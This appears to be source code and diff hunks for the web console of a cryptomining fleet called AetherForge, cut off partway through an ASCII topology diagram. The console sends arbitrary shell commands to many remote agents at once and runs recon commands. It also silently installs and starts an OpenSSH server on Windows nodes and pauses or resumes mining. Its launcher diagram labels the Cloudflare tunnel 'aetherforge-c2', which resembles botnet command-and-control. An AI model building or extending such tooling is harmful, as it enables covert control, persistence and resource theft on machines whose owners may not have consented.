// ── Wake SSH commands ──────────────────────────────────────────────────────
|
||||
|
||||
const WAKE_SSH_PS = `
|
||||
$ErrorActionPreference='SilentlyContinue'
|
||||
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
|
||||
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
|
||||
Set-Service -Name sshd -StartupType Automatic
|
||||
Start-Service sshd
|
||||
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
|
||||
"SSH_WAKE_OK ip=$ip port=22"
|
||||
`.trim();
|
||||
|
||||
const PROBE_SSH_PS = `
|
||||
$s=Get-Service sshd -ErrorAction SilentlyContinue
|
||||
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
|
||||
`.trim();
|
||||
|
||||
const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
|
||||
|
||||
// ── Component ──────────────────────────────────────────────────────────────
|
||||
|
||||
export default function CruciblePage() {
|
||||
const { agents, commandResults } = useWebSocket();
|
||||
|
||||
// Selection
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [groups, setGroups] = useState<NodeGroup[]>([]);
|
||||
const [groupNameInput, setGroupNameInput] = useState('');
|
||||
|
||||
// Terminal
|
||||
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
||||
const [cmd, setCmd] = useState('');
|
||||
const [shellType, setShellType] = useState<ShellType>('powershell');
|
||||
const [busy, setBusy] = useState(false);
|
||||
const termEndRef = useRef<HTMLDivElement>(null);
|
||||
const cmdRef = useRef<HTMLInputElement>(null);
|
||||
const lastSeqRef = useRef(0);
|
||||
|
||||
// Command history
|
||||
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
||||
const [histIdx, setHistIdx] = useState(-1);
|
||||
|
||||
// SSH status overrides (from probe results)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
const selectedAgents = useMemo(
|
||||
() => agents.filter((a) => selectedIds.has(a.id)),
|
||||
[agents, selectedIds]
|
||||
);
|
||||
|
||||
const online = (a: Agent) => a.status === 'online';
|
||||
|
||||
// ── Auto-scroll terminal ───────────────────────────────────────────────
|
||||
|
||||
useEffect(() => {
|
||||
termEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [termLines]);
|
||||
|
||||
// ── Process incoming command_result messages ───────────────────────────
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults || commandResults.length === 0) return;
|
||||
const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
|
||||
if (newEntries.length === 0) return;
|
||||
lastSeqRef.current = newEntries[newEntries.length - 1]._seq;
|
||||
|
||||
const lines: TermLine[] = [];
|
||||
for (const r of newEntries) {
|
||||
const aid = r.agent_id;
|
||||
if (!aid) continue;
|
||||
// Only show results from agents that are selected (or all if nothing selected)
|
||||
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
|
||||
const agent = agents.find((a) => a.id === aid);
|
||||
const name = agent?.name ?? aid.slice(0, 8);
|
||||
|
||||
// Parse SSH probe results to update ssh status
|
||||
const msg = r.message ?? '';
|
||||
if (msg.includes('SSH_PROBE:ONLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
}
|
||||
|
||||
// Split multi-line output
|
||||
const msgLines = msg.split('\n').filter(Boolean);
|
||||
for (const line of msgLines) {
|
||||
lines.push({
|
||||
id: mkId(),
|
||||
agentId: aid,
|
||||
agentName: name,
|
||||
isCmd: false,
|
||||
text: line,
|
||||
ts: new Date(),
|
||||
success: r.success,
|
||||
});
|
||||
}
|
||||
}
|
||||
if (lines.length > 0) {
|
||||
setTermLines((prev) => [...prev, ...lines].slice(-2000));
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [commandResults]);
|
||||
|
||||
// ── Selection helpers ──────────────────────────────────────────────────
|
||||
|
||||
const toggle = (id: string) =>
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (next.has(id)) next.delete(id); else next.add(id);
|
||||
return next;
|
||||
});
|
||||
|
||||
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
||||
const clearSel = () => setSelectedIds(new Set());
|
||||
|
||||
const addGroup = () => {
|
||||
if (!groupNameInput.trim() || selectedIds.size === 0) return;
|
||||
setGroups((prev) => [
|
||||
...prev,
|
||||
{ id: mkId(), name: groupNameInput.trim(), agentIds: new Set(selectedIds) },
|
||||
]);
|
||||
setGroupNameInput('');
|
||||
};
|
||||
|
||||
const activateGroup = (g: NodeGroup) => setSelectedIds(new Set(g.agentIds));
|
||||
const deleteGroup = (id: string) => setGroups((prev) => prev.filter((g) => g.id !== id));
|
||||
|
||||
// ── Dispatch command ───────────────────────────────────────────────────
|
||||
|
||||
const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
if (tgts.length === 0 || !command.trim()) return;
|
||||
|
||||
setBusy(true);
|
||||
// Echo command to terminal
|
||||
const echoLines: TermLine[] = tgts.map((a) => ({
|
||||
id: mkId(),
|
||||
agentId: a.id,
|
||||
agentName: a.name,
|
||||
isCmd: true,
|
||||
text: command,
|
||||
ts: new Date(),
|
||||
}));
|
||||
setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
|
||||
setCmdHistory((h) => [command, ...h].slice(0, 50));
|
||||
setHistIdx(-1);
|
||||
|
||||
const action = shell === 'powershell' ? 'powershell'
|
||||
: shell === 'sh' ? 'exec'
|
||||
: 'exec';
|
||||
|
||||
await Promise.all(
|
||||
tgts.map((a) =>
|
||||
api.sendAgentCommand(a.id, action, { command }).catch((err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: a.id,
|
||||
agentName: a.name,
|
||||
isCmd: false,
|
||||
text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
},
|
||||
]);
|
||||
})
|
||||
)
|
||||
);
|
||||
setBusy(false);
|
||||
cmdRef.current?.focus();
|
||||
}, [selectedAgents]);
|
||||
|
||||
const sendCmd = () => {
|
||||
dispatch(cmd, shellType);
|
||||
setCmd('');
|
||||
};
|
||||
|
||||
const probeSSH = (targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
for (const a of tgts) {
|
||||
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
|
||||
const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
|
||||
const shell: ShellType = isWin ? 'powershell' : 'sh';
|
||||
dispatch(probeCmd, shell, [a]);
|
||||
}
|
||||
};
|
||||
|
||||
const wakeSSH = (targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
for (const a of tgts) {
|
||||
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
|
||||
if (isWin) {
|
||||
dispatch(WAKE_SSH_PS, 'powershell', [a]);
|
||||
} else {
|
||||
dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === 'Enter') { sendCmd(); return; }
|
||||
if (e.key === 'ArrowUp') {
|
||||
e.preventDefault();
|
||||
const next = Math.min(histIdx + 1, cmdHistory.length - 1);
|
||||
setHistIdx(next);
|
||||
setCmd(cmdHistory[next] ?? '');
|
||||
}
|
||||
if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
const next = Math.max(histIdx - 1, -1);
|
||||
setHistIdx(next);
|
||||
setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
|
||||
}
|
||||
};
|
||||
|
||||
// ── Effective SSH status ───────────────────────────────────────────────
|
||||
|
||||
const sshStatus = (a: Agent) => {
|
||||
const override = sshOverride[a.id];
|
||||
if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
|
||||
return sshBadge({ ...a });
|
||||
};
|
||||
|
||||
// ── Render ─────────────────────────────────────────────────────────────
|
||||
|
||||
return (
|
||||
<div className="page fade-in crucible-page">
|
||||
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
|
||||
<h1>Crucible</h1>
|
||||
<p className="page-subtitle">select nodes · group them · command them all at once</p>
|
||||
</div>
|
||||
<div className="deck-hero-status">
|
||||
<div className="crucible-sel-summary">
|
||||
<span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
|
||||
{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
|
||||
</span>
|
||||
<span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
|
||||
{agents.filter(online).length} online / {agents.length} total
|
||||
</span>
|
||||
</div>
|
||||
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
|
||||
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> NODE ROSTER
|
||||
</div>
|
||||
{agents.length === 0 ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
|
||||
) : (
|
||||
<div className="crucible-roster">
|
||||
{agents.map((a) => {
|
||||
const sel = selectedIds.has(a.id);
|
||||
const isOn = online(a);
|
||||
const ssh = sshStatus(a);
|
||||
const color = agentColor(a.id, allIds);
|
||||
return (
|
||||
<div
|
||||
key={a.id}
|
||||
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||
style={sel ? { '--sel-color': color } as React.CSSProperties : undefined}
|
||||
onClick={() => toggle(a.id)}
|
||||
>
|
||||
<div className="crucible-node-check">
|
||||
<span className={`cn-checkbox ${sel ? 'checked' : ''}`}
|
||||
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
|
||||
</div>
|
||||
<div className="crucible-node-body">
|
||||
<div className="cn-name" style={sel ? { color } : undefined}>
|
||||
<span className="cn-platform">{platformIcon(a.platform)}</span>
|
||||
{a.name}
|
||||
</div>
|
||||
<div className="cn-meta">
|
||||
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
||||
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
|
||||
</div>
|
||||
<div className="cn-ip font-tech">{a.ip || '—'}</div>
|
||||
<div className="cn-stats">
|
||||
<span>{a.cpu_cores}c</span>
|
||||
<span>{formatHashrate(a.hashrate_15m)}</span>
|
||||
</div>
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||||
<div className="crucible-row">
|
||||
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> GROUPS
|
||||
</div>
|
||||
<div className="crucible-groups-list">
|
||||
{groups.length === 0 && (
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Select nodes above, name a group, save it here.
|
||||
</p>
|
||||
)}
|
||||
{groups.map((g) => (
|
||||
<div key={g.id} className="crucible-group-item" onClick={() => activateGroup(g)}>
|
||||
<span className="cg-name">{g.name}</span>
|
||||
<span className="cg-count">{g.agentIds.size} nodes</span>
|
||||
<button className="cg-del" onClick={(e) => { e.stopPropagation(); deleteGroup(g.id); }}>×</button>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div className="crucible-group-new">
|
||||
<input
|
||||
className="crucible-input"
|
||||
value={groupNameInput}
|
||||
onChange={(e) => setGroupNameInput(e.target.value)}
|
||||
onKeyDown={(e) => e.key === 'Enter' && addGroup()}
|
||||
placeholder={`Name group (${selectedIds.size} selected)…`}
|
||||
/>
|
||||
<button className="button crucible-btn" onClick={addGroup} disabled={!groupNameInput.trim() || selectedIds.size === 0}>
|
||||
Save
|
||||
</button>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> OPERATIONS
|
||||
</div>
|
||||
<div className="crucible-ops">
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">SSH</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => probeSSH()}
|
||||
title="Probe port 22 on selected nodes"
|
||||
>
|
||||
Probe SSH
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn crucible-op-wake"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => wakeSSH()}
|
||||
title="Install + start OpenSSH server on selected Windows nodes"
|
||||
>
|
||||
⚡ Wake SSH
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Mining</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
|
||||
>
|
||||
Resume All
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
|
||||
>
|
||||
Pause All
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Recon</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => dispatch('whoami', shellType)}
|
||||
>
|
||||
whoami
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => dispatch(shellType === 'powershell' ? 'Get-ComputerInfo | Select CsName,WindowsVersion,OsArchitecture' : 'uname -a', shellType)}
|
||||
>
|
||||
sysinfo
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
|
||||
>
|
||||
ipconfig
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Shell</span>
|
||||
<div className="crucible-shell-tabs">
|
||||
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
|
||||
<button
|
||||
key={s}
|
||||
className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
|
||||
onClick={() => setShellType(s)}
|
||||
>
|
||||
{s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedIds.size > 0 && (
|
||||
<div className="crucible-sel-chips">
|
||||
{selectedAgents.map((a) => {
|
||||
const color = agentColor(a.id, allIds);
|
||||
const ssh = sshStatus(a);
|
||||
return (
|
||||
<span
|
||||
key={a.id}
|
||||
className="crucible-chip"
|
||||
style={{ borderColor: color, color }}
|
||||
onClick={() => toggle(a.id)}
|
||||
title={`${a.ip ?? ''} · ${ssh.label}`}
|
||||
>
|
||||
{a.name} ×
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* ── Terminal ────────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
|
||||
<div className="crucible-term-header">
|
||||
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
|
||||
<span className="section-ornament">◆</span> TERMINAL
|
||||
<span className="crucible-term-target">
|
||||
{selectedIds.size === 0
|
||||
? '— select nodes above —'
|
||||
: `→ ${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
|
||||
}
|
||||
</span>
|
||||
</div>
|
||||
<button className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-terminal">
|
||||
{termLines.length === 0 && (
|
||||
<div className="crucible-term-empty">
|
||||
Select nodes · type a command · press Enter
|
||||
</div>
|
||||
)}
|
||||
{termLines.map((line) => {
|
||||
const color = agentColor(line.agentId, allIds);
|
||||
return (
|
||||
<div
|
||||
key={line.id}
|
||||
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''}`}
|
||||
>
|
||||
<span className="ctl-agent" style={{ color }}>
|
||||
{line.agentName.slice(0, 12).padEnd(12)}
|
||||
</span>
|
||||
<span className="ctl-arrow" style={{ color }}>
|
||||
{line.isCmd ? '▶' : '◀'}
|
||||
</span>
|
||||
<span className="ctl-text">{line.text}</span>
|
||||
<span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
<div ref={termEndRef} />
|
||||
</div>
|
||||
|
||||
<div className="crucible-term-input-row">
|
||||
<span className="crucible-prompt font-tech">
|
||||
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
|
||||
</span>
|
||||
<input
|
||||
ref={cmdRef}
|
||||
className="crucible-term-input"
|
||||
value={cmd}
|
||||
onChange={(e) => setCmd(e.target.value)}
|
||||
onKeyDown={handleKey}
|
||||
placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
|
||||
disabled={busy || selectedIds.size === 0}
|
||||
spellCheck={false}
|
||||
autoComplete="off"
|
||||
/>
|
||||
<button
|
||||
className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
|
||||
onClick={sendCmd}
|
||||
disabled={busy || !cmd.trim() || selectedIds.size === 0}
|
||||
>
|
||||
{busy ? '…' : 'SEND'}
|
||||
</button>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
|
||||
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> SSH ACCESS NOTES
|
||||
</div>
|
||||
<div className="crucible-ssh-grid">
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">1</span>
|
||||
<div>
|
||||
<strong>Probe</strong> — click "Probe SSH" to test if port 22 is open on the target machine.
|
||||
</div>
|
||||
</div>
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">2</span>
|
||||
<div>
|
||||
<strong>Wake SSH (Windows)</strong> — installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
|
||||
</div>
|
||||
</div>
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">3</span>
|
||||
<div>
|
||||
<strong>Connect directly</strong> — if you're on the same LAN, <code className="crucible-code">ssh user@<ip></code>. Node IP is shown on each card.
|
||||
</div>
|
||||
</div>
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">4</span>
|
||||
<div>
|
||||
<strong>Remote (via tunnel)</strong> — run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -48,6 +48,7 @@ export default function DashboardPage() {
|
||||
const [restAI, setRestAI] = useState<typeof aiActivity>([]);
|
||||
const [subtitle, setSubtitle] = useState('security is just an emotion');
|
||||
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [hasBuilds, setHasBuilds] = useState(false);
|
||||
@@ -114,9 +115,10 @@ export default function DashboardPage() {
|
||||
useEffect(() => {
|
||||
const now = new Date().toLocaleTimeString();
|
||||
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
|
||||
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
|
||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
}, [totalHashrate, avgCpu, avgMem]);
|
||||
}, [totalHashrate, acceptRate, avgCpu, avgMem]);
|
||||
|
||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||
|
||||
@@ -146,6 +148,29 @@ export default function DashboardPage() {
|
||||
[agents]
|
||||
);
|
||||
|
||||
// ── Extra pretty numbers ───────────────────────────────────────────────────
|
||||
const bestAgent = useMemo(
|
||||
() => agents.filter((a) => a.status === 'online').sort((a, b) => b.hashrate_15m - a.hashrate_15m)[0] ?? null,
|
||||
[agents]
|
||||
);
|
||||
const totalCores = useMemo(
|
||||
() => agents.filter((a) => a.status === 'online').reduce((s, a) => s + (a.cpu_cores || 0), 0),
|
||||
[agents]
|
||||
);
|
||||
const totalUptimeHours = useMemo(
|
||||
() => agents.reduce((s, a) => s + (a.uptime_seconds || 0), 0) / 3600,
|
||||
[agents]
|
||||
);
|
||||
const sharesPerHour = useMemo(() => {
|
||||
// Estimate from recent share log timestamps
|
||||
if (shares.length < 2) return 0;
|
||||
const times = shares.map((s) => new Date(s.timestamp).getTime()).filter((t) => !isNaN(t)).sort((a, b) => b - a);
|
||||
if (times.length < 2) return 0;
|
||||
const spanMs = times[0] - times[times.length - 1];
|
||||
if (spanMs <= 0) return 0;
|
||||
return Math.round((times.length / spanMs) * 3_600_000);
|
||||
}, [shares]);
|
||||
|
||||
// ── Analytics ─────────────────────────────────────────────────────────────
|
||||
const fleetHealth = useMemo(() => computeFleetHealth(agents, pools), [agents, pools]);
|
||||
const contribs = useMemo(() => contributionBars(agents), [agents]);
|
||||
@@ -280,6 +305,50 @@ export default function DashboardPage() {
|
||||
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
|
||||
<div className="stat-sub">{avgMem.toFixed(0)}% memory · fleet mean</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Pretty numbers row ── */}
|
||||
<NeonCard accent="gold" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Top Miner</div>
|
||||
{bestAgent ? (
|
||||
<>
|
||||
<div className="stat-value neon-glow-gold" style={{ fontSize: '1.1rem' }}>
|
||||
{bestAgent.name.length > 14 ? bestAgent.name.slice(0, 13) + '…' : bestAgent.name}
|
||||
</div>
|
||||
<div className="stat-sub">{formatHashrate(bestAgent.hashrate_15m)} · {bestAgent.cpu_cores}c</div>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<div className="stat-value stat-dim">—</div>
|
||||
<div className="stat-sub">no miners online</div>
|
||||
</>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Fleet Compute</div>
|
||||
<div className="stat-value neon-glow-cyan">
|
||||
{totalCores > 0 ? totalCores.toLocaleString() : '—'}
|
||||
<span className="stat-dim" style={{ fontSize: '0.8em' }}> cores</span>
|
||||
</div>
|
||||
<div className="stat-sub">{onlineCount} nodes active</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Fleet Uptime</div>
|
||||
<div className="stat-value accepted">
|
||||
{totalUptimeHours >= 1 ? totalUptimeHours.toFixed(0).replace(/\B(?=(\d{3})+(?!\d))/g, ',') : '< 1'}
|
||||
<span className="stat-dim" style={{ fontSize: '0.8em' }}> hrs</span>
|
||||
</div>
|
||||
<div className="stat-sub">cumulative across fleet</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="purple" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Shares / hr</div>
|
||||
<div className="stat-value neon-glow-purple">
|
||||
{sharesPerHour > 0 ? sharesPerHour.toLocaleString() : '—'}
|
||||
</div>
|
||||
<div className="stat-sub">{totalShares.toLocaleString()} total submitted</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||
@@ -301,17 +370,20 @@ export default function DashboardPage() {
|
||||
<NeonCard accent="cyan" tilt3d>
|
||||
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
|
||||
</NeonCard>
|
||||
{advancedMode && (
|
||||
<NeonCard accent="magenta" tilt3d>
|
||||
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={300} />
|
||||
</NeonCard>
|
||||
)}
|
||||
<NeonCard accent="purple" tilt3d>
|
||||
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{advancedMode && (
|
||||
<NeonCard accent="brass" className="chart-row-full" tilt3d>
|
||||
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
<div className="grid-2 chart-row">
|
||||
<NeonCard accent="magenta" tilt3d>
|
||||
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="brass" tilt3d>
|
||||
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<NeonCard accent="purple" className="section" hud>
|
||||
|
||||
@@ -4,6 +4,7 @@ import {
|
||||
CHEAT_SECTIONS,
|
||||
PIPELINE_STEPS,
|
||||
TROUBLESHOOTING,
|
||||
type CheatStep,
|
||||
} from '../help/cheatSheetContent';
|
||||
import {
|
||||
ForgeCalibrateCompare,
|
||||
@@ -12,6 +13,80 @@ import {
|
||||
} from '../components/Visual/VisualComponents';
|
||||
import './Pages.css';
|
||||
|
||||
/** Inline code block with copy button */
|
||||
function CodeBlock({ code }: { code: string }) {
|
||||
const copy = () => navigator.clipboard?.writeText(code);
|
||||
return (
|
||||
<div className="guide-code-block">
|
||||
<pre className="guide-code-pre">{code}</pre>
|
||||
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** A single step card — shows body, tips, optional code example, optional nav button */
|
||||
function StepCard({ step }: { step: CheatStep }) {
|
||||
return (
|
||||
<div className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} <span className="guide-step-sub">— {step.subtitle}</span></h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => <li key={t}>{t}</li>)}
|
||||
</ul>
|
||||
)}
|
||||
{step.code && <CodeBlock code={step.code} />}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** ASCII topology diagram — portable self-configuring setup */
|
||||
function TopologyDiagram() {
|
||||
const lines = [
|
||||
' ┌──────────────────────────────────────────────────────────────────────┐',
|
||||
' │ USB / Portable Machine (any network) │',
|
||||
' │ │',
|
||||
' │ ┌──────────────────────────────────────────────────────────────┐ │',
|
||||
' │ │ LAUNCH.bat │ │',
|
||||
' │ │ │ │',
|
||||
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
|
||||
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
|
||||
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
|
||||
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
|
||||
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
|
||||
' │ └────────────────────────┬─────────────────────────────────────┘ │',
|
||||
' │ │ localhost │',
|
||||
' │ ┌─────────────┴──────────────┐ │',
|
||||
' │ │ cloudflared named tunnel │ │',
|
||||
' │ │ aetherforge-c2 │──────────────▶ CF Edge │',
|
||||
' │ └─────────────────────────────┘ │ │',
|
||||
